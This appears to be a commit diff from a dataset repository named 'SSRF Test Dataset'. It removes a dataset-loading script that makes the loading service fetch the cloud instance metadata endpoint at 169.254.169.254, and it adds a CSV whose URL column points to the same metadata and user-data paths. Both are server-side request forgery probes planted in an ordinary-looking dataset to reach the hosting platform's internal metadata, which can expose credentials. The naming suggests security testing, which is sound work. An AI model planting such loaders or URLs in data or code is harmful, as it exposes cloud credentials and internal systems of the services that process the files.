Replace script with CSV
Browse files- README.md +10 -3
- ssrf-test-ds.py +0 -16
- train.csv +3 -0
README.md
CHANGED
|
@@ -1,5 +1,12 @@
|
|
| 1 |
---
|
| 2 |
-
|
| 3 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 4 |
---
|
| 5 |
-
# SSRF Test Dataset
|
|
|
|
| 1 |
---
|
| 2 |
+
dataset_info:
|
| 3 |
+
features:
|
| 4 |
+
- name: text
|
| 5 |
+
dtype: string
|
| 6 |
+
- name: url
|
| 7 |
+
dtype: string
|
| 8 |
+
splits:
|
| 9 |
+
- name: train
|
| 10 |
+
num_examples: 2
|
| 11 |
---
|
| 12 |
+
# SSRF Test Dataset
|
ssrf-test-ds.py
DELETED
|
@@ -1,16 +0,0 @@
|
|
| 1 |
-
import datasets
|
| 2 |
-
import requests
|
| 3 |
-
|
| 4 |
-
class SsrfTest(datasets.GeneratorBasedBuilder):
|
| 5 |
-
def _info(self):
|
| 6 |
-
return datasets.DatasetInfo(
|
| 7 |
-
features=datasets.Features({"text": datasets.Value("string")}),
|
| 8 |
-
)
|
| 9 |
-
def _split_generators(self, dl_manager):
|
| 10 |
-
urls = {"train": "http://169.254.169.254/latest/meta-data/"}
|
| 11 |
-
downloaded_files = dl_manager.download_and_extract(urls)
|
| 12 |
-
return [datasets.SplitGenerator(name=datasets.Split.TRAIN, gen_kwargs={"filepath": downloaded_files["train"]})]
|
| 13 |
-
def _generate_examples(self, filepath):
|
| 14 |
-
with open(filepath) as f:
|
| 15 |
-
for i, line in enumerate(f):
|
| 16 |
-
yield i, {"text": line.strip()}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
train.csv
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
text,url
|
| 2 |
+
hello,http://169.254.169.254/latest/meta-data/
|
| 3 |
+
world,http://169.254.169.254/latest/user-data/
|